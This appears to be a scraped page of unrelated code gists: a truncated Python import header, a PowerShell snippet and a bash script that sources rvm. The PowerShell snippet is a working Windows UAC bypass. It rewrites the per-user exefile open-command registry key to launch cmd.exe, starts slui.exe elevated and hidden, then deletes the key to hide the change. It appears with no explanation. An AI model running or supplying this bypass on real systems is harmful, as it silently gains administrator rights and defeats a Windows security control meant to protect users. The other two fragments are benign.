This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python3 | |
import os, sys | |
#import requests | |
from urllib import request | |
import traceback | |
from shutil import copyfile | |
from hashlib import md5 | |
import binascii |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
New-Item "HKCU:\Software\Classes\exefile\Shell\Open\command" -Force | |
Set-ItemProperty -Path "HKCU:\Software\Classes\exefile\Shell\Open\command" -Name "(default)" -Value cmd.exe -Force | |
Start-Process -Verb "runas" "C:\Windows\System32\slui.exe" -WindowStyle Hidden | |
Start-Sleep 3 | |
Remove-Item "HKCU:\Software\Classes\exefile\" -Recurse -Force |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#rvm | |
if [ ! -f "/usr/local/rvm/scripts/rvm" ] | |
then | |
echo "!!!Error!!!" | |
echo "Can not find rvm script, either rvm is not installed or this script is buggy :)" | |
echo "" | |
return | |
else | |
source /usr/local/rvm/scripts/rvm | |
fi |